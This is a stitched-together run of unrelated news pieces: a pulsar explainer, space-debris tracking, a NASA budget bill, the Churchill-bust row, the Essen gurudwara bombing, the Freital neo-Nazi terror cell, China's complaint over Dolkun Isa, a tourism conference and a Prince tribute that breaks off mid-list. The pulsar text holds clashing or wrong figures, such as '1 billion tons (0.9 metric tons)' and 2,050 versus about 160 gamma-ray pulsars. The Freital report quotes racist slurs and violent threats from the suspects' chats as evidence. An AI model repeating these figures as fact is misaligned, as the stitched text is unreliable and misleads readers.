Neutron stars are typically about 12.4 to 14.9 miles (20 to 24 kilometers) in diameter, but they can contain up to twice the mass of the sun, which is about 864,938 miles (1.392 million km) in diameter. A sugar-cube-size bit of material from a neutron star would weigh about 1 billion tons (0.9 metric tons)  "about the same as Mount Everest," according to NASA. The gravitational pull on the surface of a neutron star would be about 1 billion times stronger than the gravitational pull on the surface of the Earth.

The only object with a higher density than a neutron star is a black hole, which also forms when a dying star collapses. The most massive neutron star ever measured is 2.04 times the mass of the sun. Scientists don't know exactly how massive neutron stars can get before they become black holes, according Feryal Ozel, a professor of astronomy and astrophysics at Arizona State University, who specializes in compact objects and extreme states of matter in the universe.

Pulsars are neutron stars are also highly magnetic. While Earth has a magnetic field that's just strong enough to exert a gentle tug on a compass needle, pulsars have magnetic fields that range from 100 million times to 1 quadrillion (a million billion) times stronger than Earth's.

"For a neutron star to emit as a pulsar, it has to have the right combination of magnetic field strength and spin frequency," Ozel told Space.com in an email. Some neutron stars may have once radiated as pulsars, but no longer radiate (read more below). Ozel also noted that the beam of radio waves emitted by a pulsar may not pass through the field of view of an Earth-based telescope, preventing astronomers from seeing it.

Why do pulsars spin?

The slowest pulsars ever detected spin on the order of once per second, and these are typically called slow pulsars. The fastest known pulsars can spin hundreds of times per second, and are known as fast pulsars or millisecond pulsars (because their spin period is measured in milliseconds).

Pulsars spin because the stars from which they formed also rotate, and the collapse of the stellar material will naturally increase the pulsar's rotation speed. (Bringing mass closer to the center of a spinning object increases its rotation speed, which is why figure skaters can spin faster by pulling their arms in toward their torso.)

Pulsars are the size of small cities, so ramping them up to such high speeds is no small feat. In fact, millisecond pulsars require an additional source of energy to get going to such a high rotation rate.

Scientists think millisecond pulsars must have formed by stealing energy from a companion. The pulsar siphons matter and momentum from its companion, gradually increasing the spin rate of the pulsar. This is bad news for the companion star, which may be completely devoured by the pulsar. This would explain why millisecond pulsars have been discovered with no visible companion nearby. Systems where scientists see a pulsar sucking the life from a star are called black widow stars or redback stars, named after two types of dangerous (life-sucking) spiders.

An artist's impression of a pulsar syphoning material away from a companion star, leading to the formation of a millisecond pulsar. (Image credit: Copyright NASA/CXC/M.Weiss)

What makes a pulsar radiate?

Pulsars can radiate light in multiple wavelengths, from radio waves all the way up to gamma-rays, the most energetic form of light in the universe.

How do pulsars radiate light? Scientists don't yet have a detailed answer to that question, according to Alice Harding, an astrophysicist at NASA's Goddard Space Flight Center in Greenbelt, Maryland, who specializes in pulsars. What's more, scientists have found that different mechanisms are likely responsible for producing different wavelengths of light from the area above the pulsar's surface, Harding said. The lighthouse-like beams of light that scientists first spotted in the 1960s consist of radio waves. These beams of light are notable because they are extremely bright and narrow, and have properties similar to those of a laser beam. Laser light is "coherent," as opposed to non-coherent light radiated by, for example, a light bulb. In a beam of coherent light, the particles of light are essentially marching in step, creating a uniform, focused beam. When particles of light work together in this way, they can produce a beam of light that is exponentially brighter than a diffuse light source using the same amount of power.

What does seem clear to scientists is that pulsar emissions are powered by the pulsar's rotation and its magnetic field, according to Roger Romani, a professor of physics at Stanford University who studies pulsars and other compact objects. The fastest-spinning pulsars have weaker magnetic fields than slower spinning pulsars do, but the increase in rotation speed is still enough to cause those fast pulsars to radiate similarly bright beams to those of slower pulsars, Romani said.

An artist's impression of magnetic-field lines looping around a pulsar. The purple glow represents gamma-ray light. The axis of the pulsar's rotation is not shown, and would not be aligned with the magnetic-field axis. (Image credit: NASA)

The artist's impression above provides an idea of how the magnetic-field lines from a pulsar will loop around it and connect at the two poles. However, in reality, as the pulsar spins, it whips the magnetic field around with it, creating a much more tangled picture.

A spinning magnetic field generates an electric field, which, in turn, can cause charged particles to move (creating an electric current). The region above the surface of the pulsar that is dominated by the magnetic field is called the magnetosphere. In this region, charged particles like electrons and protons, or charged atoms, are accelerated to extremely high speeds by the very strong electric field. Any time charged particles are accelerated (meaning they either increase their speed, or change direction), they radiate light. On Earth, instruments called synchrotrons accelerate particles to very high speeds and use the light they radiate for scientific studies. In the pulsar's magnetosphere, this basic process may generate light in the optical and X-ray range.

But what about the gamma-rays emitted by a pulsar? Observations show that gamma-rays are emitted from a different location in the space surrounding the pulsar than the beams of radio waves, and at a different altitude above the surface, Harding said. And, rather than in a narrow, pencil-like beam, gamma-rays are emitted in a fan shape. But just as with radio wave emissions, scientists are still debating the exact mechanism responsible for generating gamma-rays from a pulsar.

Finding pulsars

Scientists discovered pulsars by using radio telescopes, and radio continues to be the primary means of hunting these objects.

Because pulsars are small and faint compared to many other celestial objects, scientists find them using all-sky surveys: A telescope scans the entire sky, and over time, scientists can look for objects that flicker in and out of view. The Parkes radio telescope in Australia has found the majority of known pulsars. Other telescopes that have made major contributions to pulsar searches are the Arecibo radio telescope in Puerto Rico, the Green Bank Telescope in West Virginia, the Molonglo telescope in Australia, and the Jodrell Bank telescope in England.

Thousands of new pulsars may be detected by two radio survey telescopes that are scheduled to start taking data in the next five years, according to Scott Ransom, a staff astronomer at the National radio Astronomy Observatory (NRAO) in Charlottesville, Virginia. The telescopes are China's Five Hundred Meter Aperture Spherical Telescope (FAST for short), for which basic construction may be completed as early as September 2016, and the Square Kilometer Array (SKA), funded by a consortium of countries. Construction on the SKA is set to begin in 2018, with locations in both South Africa and Australia. The organization's website says early science observations could begin in 2020, but the array would not reach full science operations (both facilities) until 2030.

The Fermi Gamma-ray Space Telescope, launched in June 2008, has detected 2,050 gamma-ray-emitting pulsars, including 93 gamma-ray millisecond pulsars. Fermi has been particularly helpful because it scans the entire sky, whereas most radio surveys typically scan only sections of the sky along the plane of the Milky Way galaxy.

A map of the sky showing gamma-ray pulsars detected with the LAT instrument on the Fermi Gamma Ray Telescope. Shown above are the gamma-ray pulsars detected with the LAT: CGRO PSRs (plus), young radio-selected (circle), young gamma-selected (square), and MSPs (diamond). (Image credit: Fermi-LAT/GSFC)

Detecting different wavelengths of light from a pulsar can be difficult. A pulsar's beam of radio waves might be very powerful, but if it doesn't sweep across the Earth (and enter a telescope's field of view), astronomers may not see it. The gamma-ray emission from a pulsar may fan across a larger area of the sky, but it also can be dimmer and more difficult to detect.

As of March 22, 2016, scientists know about 2,300 pulsars for which only radio waves have been detected, and about 160 pulsars that radiate gamma rays. Scientists now know of 240 millisecond pulsars, 60 of which radiate gamma rays, Ransom said. These numbers change frequently as new pulsars are discovered.

Uses of pulsars

Pulsars are fantastic cosmic tools for scientists to study a wide range of phenomena.

The light emitted by a pulsar carries information about these objects and what is happening inside them. That means pulsars give scientists information about the physics of neutron stars, which are the densest material in the universe (with the exception of whatever happens to matter inside a black hole). Under such incredible pressure, matter behaves in ways not seen before in any other environment in the universe. The strange state of matter inside neutron stars is what scientists call "nuclear pasta": Sometimes, the atoms arrange themselves in flat sheets, like lasagna, or spirals like fusilli, or small nuggets like gnocchi.

Some pulsars also prove extremely useful because of the precision of their pulses. There are many known pulsars that blink with such precise regularity; they are considered the most accurate natural clocks in the universe. As a result, scientists can watch for changes in a pulsar's blinking that could indicate something happening in the space nearby.

It was with this method that scientists began to identify the presence of alien planets orbiting these dense objects. In fact, the first planet outside Earth's solar system ever found was orbiting a pulsar.

Because pulsars are moving through space while also blinking a regular number of times per second, scientists can use many pulsars to calculate cosmic distances. The changing position of the pulsar means the light it emits takes more or less time to reach Earth. Thanks to the exquisite timing of the pulses, scientists have made some of the most accurate distance measurements of cosmic objects.

Pulsars have been used to test aspects of Albert Einstein's theory of general relativity, such as the universal force of gravity.

The regular timing of pulsars also may be disrupted by gravitational waves  the ripples in space-time predicted by Einstein and directly detected for the first time in February 2016. There are multiple experiments currently searching for gravitational waves via this pulsar method.

Using pulsars for these types of applications depends on how settled they are in their rotation (thus providing very regular blinks), Ransom said. All pulsars are slowing down gradually as they spin; but those used for precision measurements are slowing down at an incredibly slow rate, so scientists can still use them as stable time-keeping devices.

These images of the Crab Pulsar (opens in new tab) , taken by the Chandra X-ray Observatory over several months, show the bright white pulsar at the center, and jets of matter spewing away. , taken by the Chandra X-ray Observatory over several months, show the bright white pulsar at the center, and jets of matter spewing away. (Image credit: NASA/CXC/ASU/J.Hester et al.)

Pulsar graveyards

All pulsars slow down gradually as they age. The radiation emitted by a pulsar is jointly powered by its magnetic field and its spin. As a result, a pulsar that slows down also loses power, and gradually stops emitting radiation (or at least, it stops emitting enough radiation for telescopes to detect), Harding said. Observations thus far suggest that pulsars drop below the detection threshold with gamma-rays before radio waves. When pulsars reach this stage of life, they enter what's known as the pulsar graveyard. (Pulsars that have stopped emitting may be considered ordinary neutron stars by astronomers).

When a pulsar forms from the wreckage of a supernova, it spins fast and radiates a lot of energy, Ransom said. The well-studied Crab Pulsar is an example of such a young pulsar. This phase may last for a few hundred thousand years, after which the pulsar begins to slow down and only emit radio waves. These "middle-age" pulsars likely make up most of the population of pulsars identified as emitting only radio waves, he added. These pulsars live for tens of millions of years before eventually slowing down so much that they "die" and enter the pulsar graveyard.

But if the pulsar sits near a stellar companion, it may be "recycled," meaning it siphons material and energy from its neighbor, increasing its spin to hundreds of times per second  thus creating a millisecond pulsar, and giving the once-dead pulsar new life. This change can occur anytime in a pulsar's life, meaning a "dying" pulsar's rotation rate can increase over hundreds to millions of years. The pulsar begins to emit X-rays, and the pair of objects is known as a "low-mass X-ray binary," Ransom said. (These cannibalistic pulsars have been called "black widow" pulsars or "redback" pulsars in reference to two species of spider that are known to kill their companions). Millisecond pulsars are the oldest known pulsars  some are billions of years old and will continue to spin at those high rates for billions of years.

Follow Calla Cofield @callacofield. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
Artist's impression of the Japanese Hitomi spacecraft (left) and ground-based observation of the damaged spacecraft in orbit.

On a clear night sky, you might spot an occasional shooting star or even glimpse the fast-moving International Space Station as it circles the Earth.

But there are a lot of other objects up there too, including a massive new Japanese x-ray telescope called Hitomi that broke up a few weeks ago, and hundreds of tiny four-inch cube-shaped satellites ("cubesats") that are filling an ever more crowded orbital playground.

VIDEO: 'UFO' Flies Past ISS: Space Junk or Tribble Invasion

Now a group of astrophysical researchers say they can track bits of broken satellites and space junk using regular optical telescopes to record flashes of sunlight that reflect off these wandering probes. This week, they have been watching several big chunks of Hitomi as they tumble uncontrollably through space.

"As these things are going across the sky, they flash as the sunlight reflects on them," said Aroh Barjatya, associate professor of engineering physics at Embry-Riddle Aeronautical University in Daytona Beach, Fla. "Using photometry, we wrote a piece of code that centers them and measures the brightness of the object. When you are looking at controlled satellite, the brightness curve behaves in a known way. When you look at Hitomi, it's tumbling up and down. It has spin rate."

The team shot this video of one chunk of Hitomi flashing as stars pass by using a high-speed camera mounted on a telescope, and this video of the main body of Hitomi.

"It's as if a mirror were spinning in space," said Forrest Gasdia, a graduate student at Embry-Riddle, who made the observations this month.

NEWS: An Orbital 'Pac-Man' to Chomp Through Space Junk?

Barjatya said the group's observatory is specializing in tracking small cubesats -- many of them inexpensive, short-lived probes launched by university researchers that might fall through the cracks of the Pentagon's space junk tracking system.

"There are hundreds of universities launching them each year," Barjatya said. "We are potentially putting a lot of orbiting objects in the sky, many can breakup and fail and destroy other satellites. It hasn't happened. But as we put more and more up there, there is that possibility."

Barjatya says that half of the cubesats have lost contact with their operators. With a better optical tracking system, he hopes that provide more information about their fate.

The Pentagon's Joint Space Operations Center at Vandenberg Air Force Base is currently tracking 23,000 objects in space using radar and optical cameras. Their position are posted on this website each day.

JSpOC spokesman Capt. Nick Mercurio agreed that the space above Earth is getting more crowded. Every day, more than 3,000 automated messages are sent out to satellite operators about drifting debris or other satellites that may pose a risk. JSpOC is currently tracking 11 separate pieces of Hitomi since its breakup on March 26, Mercurio said, and has made five notifications warning other spacecraft operators that these bits are getting close to existing satellites.

PHOTOS: Satellite 'Flock' Launched From ISS Cubesat Cannon

In 2015, nearly 150 satellites had to be moved from their orbit to avoid colliding with something else. Astronauts aboard the ISS had to boost its orbit four times last year to avoid trouble.

"Low earth orbit is congested," Mercurio said. "Things are moving at 17,500 miles per hour and it can get dangerous. A two-centimeter ball bearing has same impact (energy of a) Jeep Wrangler driving at 70 miles per hour."

The Embry-Riddle team says they hope to improve their imaging capabilities with spectroscopic cameras that will be able to analyze the light reflecting off the space debris to determine whether it's a solar panel, piece of Teflon, aluminum or other kind of metal.

This article was provided by Discovery News.
NASA Orion program is one of several exploration programs getting major increases in the Senate's 2017 spending bill, at the expense of other agency efforts.

WASHINGTON  An appropriations bill approved by a Senate committee April 21 provides a significant increase to NASA's human space exploration programs by trimming funds from many other major NASA programs.

The Senate Appropriations Committee approved unanimously a commerce, justice and science (CJS) spending bill for fiscal year 2017 during a markup session, two days after the CJS subcommittee approved the bill. None of the amendments considered by the committee affected NASA.

The bill provides $19.306 billion for NASA, an increase of more than $280 million from the administration's request for fiscal year 2017 released in February. However, NASA's exploration account, which includes SLS and Orion, is increased by nearly $1 billion from the request.

That increase includes about $840 million for the SLS, to $2.15 billion, and $180 million for Orion, to $1.3 billion. Exploration ground systems to support SLS and Orion also see a $55 million increase, although research and development activities are cut by more than $80 million.

The report accompanying the spending bill reiterated previous criticism by committee members of NASA's budget requests for SLS and Orion. "The Committee continues to be disappointed that funding requested by NASA for SLS and Orion once again bears little relation to necessary funding levels or to amounts provided in previous years," the report stated.

The increase in exploration funding means that most other major NASA accounts suffered cuts from the administration's request in the bill. Science, aeronautics, space technology and space operations were cut by a combined $660 million from the request. The aeronautics account suffered the largest cut on a percentage basis, seeing its request for $790 million cut by nearly 25 percent.

Within the $5.4 billion provided to science, $200 million less than the request, planetary science suffered the largest cut, of more than $160 million. The bill and report did not specify a funding level for a mission to Europa, although it did state it "remains supportive" of such a mission. The bulk of the support for a Europa mission, and the enhanced funding it has received in recent years, has come from the House.

The report does call on NASA to perform a study on whether a Europa lander mission should be launched together with an orbiter mission, or if the lander should be launched separately, and possibly later. At a recent House hearing, NASA officials said they were weighing options to launch the missions separately given the combined mass of the two spacecraft.

NASA's astrophysics program did get an increase of $25 million, to $807 million, in the budget request. However, much of that increase goes to overall NASA science education programs, funding for which is bookkept within the astrophysics division. The report also directs NASA to spend $120 million of that on a new space telescope, the Wide Field Infrared Survey Telescope (WFIRST), $30 million above the administration's request. The report also directs NASA to place a cost cap on WFIRST of $3.5 billion and launch the mission by 2024.

NASA's space technology program is funded at the same level as 2016, but $140 million below the agency's request for 2017. Similar to 2016, the report sets aside $130 million of that funding for the RESTORE-L satellite servicing mission concept under development at NASA's Goddard Space Flight Center in Maryland, double what NASA requested for 2017. The bill also includes $28.9 million in additional funding for nuclear thermal propulsion work.

An addition to the space technology portfolio made in the Senate bill is $30 million for a small launch vehicle technology demonstration program that would include development of a "small launch technology platform" capable of placing satellites of up to 200 to 300 kilograms into low Earth orbit. That effort would leverage existing government work on small launch vehicles, such as the Super Strypi rocket that made its first, and unsuccessful, launch last year from Hawaii.

The bill fully funds NASA's commercial crew program at $1.18 billion, but the report indicated the committee remained skeptical about the ability of the companies currently under contract, Boeing and SpaceX, to remain on schedule. "Both companies now anticipate completing contracted milestones on a delayed schedule, closer to anticipated launch dates," the report stated. "This leaves little margin for either provider to maintain schedule as unanticipated challenges emerge during vehicle production and testing."

Elsewhere in the bill, the committee provided full funding for two key satellite programs by the National Oceanic and Atmospheric Administration, the Joint Polar Satellite System (JPSS) and Geostational Operational Environmental Satellite R (GOES-R) programs. "Keeping JPSS and GOES-R programs on budget and on schedule is critical, as is maintaining their respective cost controls, particularly when NOAA's satellite missions continue to dominate the agency's annual budget requirements," the report stated.

The appropriations committee also approved at the same markup session a spending bill for the Departments of Transportation and Housing and Urban Development, which includes the Federal Aviation Administration. Within the FAA's budget, the bill provides $19.826 million for its Office of Commercial Space Transportation, the amount requested and an increase of $2 million over 2016. A separate research, engineering and development budget in the FAA also includes $2.5 million for commercial space transportation research.

This story was provided by SpaceNews, dedicated to covering all aspects of the space industry.
London: London Mayor Boris Johnson on Friday claimed that Barack Obama removed a bust of Winston Churchill from the Oval Office because of anti-British sentiment, earning a rebuke from Downing Street.

The controversy emerged as Obama used a visit to London to spell out why his country wants Britain to remain in the European Union in a referendum on June 23.

Johnson, the most prominent figure campaigning for Britain to leave wrote an article in response and repeated allegations about the bust of Churchill, Britain's World War II leader.

"On day one of Obama's administration it was returned, without ceremony, to the British embassy in Washington," Johnson, who has penned a biography of Churchill, wrote in The Sun newspaper.

"Some said it was a snub to Britain. Some said it was a symbol of the part-Kenyan president's ancestral dislike of the British empire, of which Churchill had been such a fervent defender," he said.

The official spokeswoman for Prime Minister David Cameron, who is leading the "Remain" campaign in the referendum, hit back at Johnson, urging a "focus on facts".

"They (the White House) have been clear that this kind of suggestion that he (Obama) asked for it to be moved, that it's a failure of the president's appreciation of the special relationship, is false," she told reporters.

"That decision had already been taken before President Obama took up office. So let's focus on facts."

The White House has dismissed previous claims that Obama ordered the removal of the bust out of anti-British sentiment as "completely false".

It said in a 2012 post on its website that former Prime Minister Tony Blair had loaned George W. Bush a Churchill bust for the Oval Office which was removed on the day of Obama's inauguration.

However, it added that there was still another Churchill bust on display in the White House Residence.

"The idea... that President Obama returned the Churchill bust or refused to display the bust because of antipathy towards the British is completely false and an urban legend that continues to circulate to this day," it said.

Churchill's grandson Nicholas Soames, an MP from Cameron's Conservative party who supports EU membership, also took to Twitter to dismiss Johnson's claim.

"@BorisJohnson it is not compulsory to have head of WSC (Churchill's initials) in President's office. Stupid irrelevant empty point to make #growupgetreal," Soames wrote.

He added it was "inconceivable" that his grandfather would not have welcomed Obama's views.
Berlin: An explosion at a gurudwara in Germany's Essen city was a "terror attack" carried out by radical Islamists, authorities have said for the first time, terming it as an "entirely new" strike targeting the Sikhs.

After the interrogation of two detained teenagers, the investigators hold the view that the blast was a "religious motivated terror of the Islamist scene", Essen's police commissioner Frank Richter said yesterday.

The blast ripped through the entrance hall of the gurudwara on Saturday evening during a wedding ceremony and severely damaged part of the building besides shattering windowpanes and injuring three persons, including the priest.

The interior minister of the state of North Rhine Westphalia Ralf Jaeger spoke of an "Islamic background" to the blast and called for a thorough investigation to establish to what extent the two youths were radicalised by jihadists.

It also must be investigated who are the other persons with whom the two terror suspects had contacts, he said. Jaeger said it was "entirely new" that the Sikh community in this country has become the target of a terror attack.

The two terror suspects' affiliation to a particular group cannot be established at the present stage of the investigation, Richter told a news conference in Essen.

German TV network ARD yesterday reported that one of the two men arrested, identified by police as Yusuf T, is an Islamic State (IS) sympathiser and investigators treat him as the main suspect in the attack.

He is known to the authorities as an activist in the Islamist scene in the Ruhr region of NRW. He also has close links to "Lohberger-Brigade", an alliance of radical Islamists in the town of Dinslaken, the report said.

Photos and video sequences of CCTV footage showing the two men released by police on Wednesday helped the authorities to apprehend them, Richter said.

They are believed to have planted an explosive device hidden in a backpack in the entrance hall of the gurudwara. It went off at the end of the marriage ceremony.

Around 70 police officials are working round-the-clock to investigate the entire background of the attack and to evaluate large amount of evidences collected.

More arrests in this connection cannot be ruled out, Richter said.

He assured the Sikh community that they can feel secure in the city and the authorities would do everything to protect them.
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Xenophobes could hardly find a better place to live than Freital, population 40,000. It is just down the road from Dresden, where the anti-immigrant group Pegida has been staging demonstrations for over a year now, and it has also been a hotspot of anti-refugee protests. When a former hotel in the city was to be transformed into an initial reception center for refugees, enraged locals protested for days, with hundreds of police struggling to keep the situation under control. Pegida head Lutz Bachmann supported the protest, visited a local citizens' initiative and exhorted on Facebook: "To the streets, people! Defend yourselves!" It was at a Freital hairdresser where the notorious photo of Bachmann-as-Hitler was taken.

Connections to the Vigilante Group

Freital also had a group that named itself after a city bus route: FTL/360. It was founded in early 2015 after two Moroccans allegedly harassed schoolchildren in a public bus. Members of the vigilante group wanted to patrol in buses and ensure order. A picture of the group on the internet is accompanied by a motto that in hindsight speaks volumes: "In the east, there is a tradition of fireworks going off before New Year's."

Investigators believe that FTL/360 could be the embryo of the Freital Group. Several of the eight terror suspects had connections to the vigilante group.

When they weren't riding around on city buses as self-anointed security guards, they spent their time in the "Blue Lagoon." That was their name for an Aral service station in Freital, located directly across the street from the police station. It is a place where young people met, stoked up on liquid courage, bad-mouthed foreigners and developed plans to stop them.

They also sent each other chat messages of the most disgusting sort: "We are Nazis to the bitter end!" Or threats: "Hang 'em on the next light post with a note, wrong time wrong place, or Kanacke didn't want to leave, now he's hanging here." Kanacke is a disparaging and racist German term for foreigners. In another instance, one of the suspects wrote that "Kanacken" are "defective biological entities that must be annihilated." Or: "Niggers! Each one more disgusting than the last! Kill all of them, these miserable parasites!"

The right-wingers used several chat channels for internal communication. There was one for inconsequential discussions, a "Pyrochat" for more radical group members and an encrypted "Black Chat," open to just 16 participants. That is where the attack plans were discussed. One person involved says that "only the terrorists" used the "Black Chat" channel.

The group quickly became focused on explosives. Investigators believe that the group experimented with illegal fireworks from the Czech Republic and Poland with names like La Bomba, Flash Bangers, Viper 12, Cobra 12, Red Crosette Mine and Dum Bum. Germany's Federal Criminal Police Office (BKA) has examined the fireworks, made of potassium perchlorate, aluminum and sulfur, and come to the conclusion that they could be deadly. The experts concluded that each firework has the explosive power of 30 grams of TNT. Deadly lung injuries could result from standing too close during an explosion and shrapnel could also lead to death.

'Nasty Explosion'

The Freital-based anti-asylum group apparently had a lot of fun with their experiments. Gypsy Philli, a regional bus driver whose real name is Philipp W., wrote: "Just set off a firework at the intersection in front of a shelter. Nasty explosion." Ninepin Karl, an old-age caregiver, responded: "We heard the boom, you rogue." Gypsy Philli: "Sickly cool, when I walk home after work at night, I can always combine it with smaller attacks."

The group gradually escalated to the point that, as federal prosecutors believe, they carried out their first attack in Freital, on the night of September 19. A multi-family house located at Bahnhofstrasse 26 had been made available to refugees. Patrick F. alias Cookie, a pizza delivery man and a suspected member of the Dresden hooligan group "Fist of the East" ("Faust des Ostens"), is suspected of having placed an explosive on the sill of a ground-floor kitchen window and lit the fuse. There were eight refugees inside. The resulting explosion shattered the window, destroyed the frame and crumbled part of the wall. Shrapnel impacted a wall four meters (13 feet) away. There were no injuries, owing to the fact that no one was in the kitchen at the time.

Chat records lead investigators to believe that other members of the group knew about F.'s impending attack on the apartment. They discussed the purchase of fireworks in the Czech Republic and Gypsy Philli exulted: "Soon we'll have enough together to really create a ruckus in Freital."

But something went amiss: Just a few hours after the explosion, police ran into two members of the group at the site of the attack and took down their personal details.

For a month, the neo-Nazis kept quiet, but then came the next incident. On Oct. 18, unknown perpetrators attacked a left-wing residential project, called "Mangelwirtschaft," or Economy of Scarcity, in the Ubigau neighborhood of Dresden, a site right-wingers from Freital visited regularly.

The city of Dresden had wanted to make an Ubigau gymnasium available to refugees, but angry locals blocked the entrance to the site. The resulting standoff lasted for 20 days, before police were able to drive off the protesters. Investigators believe that members of the suspected right-wing terror group saw themselves as "protectors" of the protesters. Officials say that group members regularly met in front of the Ubigau gymnasium.

On Oct. 17, a demonstrator was injured at the site by two unidentified persons. The "protectors" immediately suspected that the left-wingers from "Mangelwirtschaft" were responsible and they wanted revenge. One wrote: "I'm going crazy tonight!" Another replied: "They'll get what's coming to them!"

Storming the Cesspool

"Mangelwirtschaft" was attacked from both the front and the back. Explosives were thrown, attached to plastic bottles filled with butyric acid, but nobody was injured. In chat, the attack was celebrated: "The washing up is finished. Thanks for the great evening. Hope that we can repeat such a fruit fest or party."

What the budding terrorists didn't know: They had long since landed on the police radar. There are records of monitored telephone calls made on the day of the attack on "Mangelwirtschaft." Three hours before the event, at 8:42 p.m., police officers in Leipzig listened to a call made by suspect Mike S. The subject of the conversation was Ubigau and he asked what he should bring aside from a pot and BS. BS stands for the German word for butyric acid, "Buttersaure," and the pot was likely for the explosives. The next call was made at 9:44 p.m. The pot was once again discussed as was the fact that four bottles of butyric acid were needed. Fourteen minutes later, at 9:58 p.m., the suspects spoke of the fireworks Super Cobra 6 and Cobra 12. Then, at 10:05 p.m., came a clear reference to the target. Mike S. asked if he could get a Cobra: "Because of Ubigau, we want to storm the cesspool."

The tools for the attack were clear and the site had been named. Yet nobody did anything to stop the perpetrators. It could be that the recording was made electronically and only later analyzed. It could also be that the Leipzig-based officer listening in didn't know the area and didn't put two and two together.

But there are further oddities. On Oct. 27, an ominous witness presented himself to the Dresden police. The name of the informant has remained secret and his address was listed as that of police headquarters. Proof of identity was noted as "police badge." Was the witness a police officer?

It quickly became apparent that the man was an insider. He was familiar with the group's structure in addition to the names and aliases of members. He testified about the attack on the leftist residential project and presented online chat records. It quickly became clear that he had also been at the Ubigau site when the attack started. He says that he was handed a paving stone to throw, but that he had quickly passed it along to someone else. Once the fireworks started, he ran away and went home. Indeed, he behaved just as undercover cops are trained to act so as to avoid committing crimes while on duty.

Officials familiar with the case insist that there were no undercover investigators inside the group and say the witness is not a police officer. They do not, however, have an explanation for the "police badge" entry.

Attempted Murder

As such, suspicions remain that the investigators knew about the next steps planned by the terrorist group but didn't immediately do anything to stop them. Twelve days passed between the monitored telephone conversations and the group's next, apparently most serious, attack. It also came four days after the appearance of the odd witness.

It was the night of Oct. 31 when the Freital Group allegedly carried out the attack that federal prosecutors have classified as attempted murder. Once again, the target was an asylum hostel in Freital, this one home to four refugees from Syria. Explosives were placed at three windows and once again, the detonation was immense. Splinters of glass eight-millimeters thick flew through the rooms inside, with one resident receiving eye and forehead injuries. The rest of the refugees were lucky: Ahmed H. was just going to the refrigerator and saw the burning fuse in the window by chance. Everyone ran out of the kitchen and slammed the door behind them.

Two days later, the first arrest warrants went out and the Freital Group was stopped.

State prosecutors in Dresden would have been happy enough to let the case be tried at a lower court. Indeed, the charges had been finished and ready since Feb. 16. The state prosecutors did not believe the perpetrators had meant to kill the hostel residents, rather they felt the group had merely been trying to intimidate the residents and that the attack had a "demonstrative character." They didn't make a connection between the series of attacks and terrorism.

But on April 11, federal prosecutors took over the case, which accounts for the arrests of additional group members earlier this week. The federal prosecutors, too, believe intimidation was a motive, but are also pursuing charges of four counts of attempted murder. The group, they argue, knew full well how dangerous their fireworks were. Furthermore, they consider xenophobia to be the group's primary motive.

Gypsy Philli, alias Philipp W., had already been in pretrial detention for more than five months by the time the case was handed over to the feds. He is no longer prone to making the kind of jokes he was known for in the chat records.

He recently complained in a letter to his girlfriend that he has been locked away for weeks with all kinds of foreigners despite the presumption of innocence. Because of "a broken window and a couple of fire-crackers." After all, he wrote, nobody died. Gypsy Philli doesn't get it. "I thought we lived under the rule of law."
Beijing: China aired its concern over World Uyghur Congress (WUC) leader Dolkun Isa's reported visit to India, saying he is a terrorist on Interpol's Red Corner and it is the obligation of all countries to bring him to justice.

"I am not aware of the situation," Foreign Ministry spokesperson Hua Chunying said in a written response when asked about the reports that WUC leaders including Dolkun were given permission to meet the Dalai Lama later this month.

Read: All terrorists are same, should not be treated differently: India tells China

"What I want to point out is that Dolkun is a terrorist in red notice of the Interpol and Chinese police. Bringing him to justice is due obligation of relevant countries," Hua said.

India's decision to permit WUC leaders whom China regards as backers of terrorism in its volatile Muslim-dominated Xinjiang province was reported to be in response to Beijing's blocking a ban on Jaish-e-Mohammed chief Masood Azhar in the UN.

Read: China sticks to its guns on blocking India's bid to ban JeM chief Azhar

Xinjiang, which has over 10 million Uyghur population of Turkik origin Muslims, was on the boil for several years over Uyghur protests against the large-scale settlements of Hans from different part of the country.

China blames East Turkistan Islamic Movement (ETIM), a militant Islamist group, for terrorist attacks in Xinjiang and other parts of the country.
Alex von Kleydorff / Hearst Connecticut Media

The Connecticut Office of Tourism holds its 2016 Governors Conference on Tourism on April 27 in Hartford, giving a forum for leaders of attractions, hotels, restaurants and cultural organizations to share ideas on building momentum heading into the summer tourism season.

The event will be held from 8 a.m. to 5 p.m. on April 27 at the Connecticut Convention Center in Hartford and costs $99 to attend. The agenda includes awards; an exhibitor showcase; a dozen workshops covering topics like digital marketing, social media and tourism trends; and addresses by Gov. Dannel P. Malloy and the CEO of Turkel Brands, which has handled marketing campaigns for tourism in Miami, Puerto Rico and other destinations.
Prince, a pioneering musician and creative, died today at 57. This game-changing artist merged his special take on funk and rock into 39 studio albums creating classics such as Purple Rain and Little Red Corvette. His sly, eyebrow-raising music got attention from the start, winning seven Grammys and inspiring everyone from pop stars like Justin Timberlake to alternative artists like Beck and The Weeknd.

He was often as known for his unconventional behavior as his music. He famously changed his name to an unpronounceable symbol and claimed angels cured his childhood epilepsy. These stories often overshadowed his drive and his pioneering moves to protect his rights to his music, especially during a new digital age.

His career spanned more than 35 years, he sold more than 100 million albums worldwide and showed the power of a real musician and true creative.

Here are a few lessons anyone can learn from the legendary artist:

He thought big.

Prince was signed at just 18 to a Warner Bros. record deal in 1977. That deal came with grit and all-or-nothing determination. As he recalled in this Rolling Stone article, "When I was 16, I was completely broke and needed to go get a job and I got the Yellow Pages out and I couldn't find one thing that I wanted to do," he said. "So I decided I was going to push as hard as I could to be a musician and went at it."

He grew with his audience.

His nearly four-decade career was hailed by some for drawing one of the most racially diverse audiences in music. Prince explained in an interview with Tavis Smiley that As I was coming into my own persona and understanding of who I was, I never talked down to my audience. And when you dont talk down to your audience, then they can grow with you.

He was a real artist.

Prince wrote hundreds of songs for himself and others. Manic Monday? By Prince. Nothing Compares 2 U? Prince. He was so prolific, when his relationships sputtered with Warner Bros., he could fulfill his obligations without recording new music, having albums worth of material in his 'vault.' Last year, he recorded a protest song inspired by the death of Freddie Gray in which he played all the instruments. Nearly anything inspired him to create. As he said at the time, "With everything going on there this week, I had a lot I needed to get out."

He fought for his work.

He brought his disputes with record execs public, writing slave on his face and even changing his name to an unpronounceable symbol when Warner Bros. said it owned his name.

He was also among the first big artists to tangle with digital titans YouTube and Ebay to protect unauthorized use of his work. At the time, a statement on his behalf read: "YouTube ... are clearly able (to) filter porn and pedophile material but appear to choose not to filter out the unauthorized music and film content which is core to their business success.

He did the unexpected.

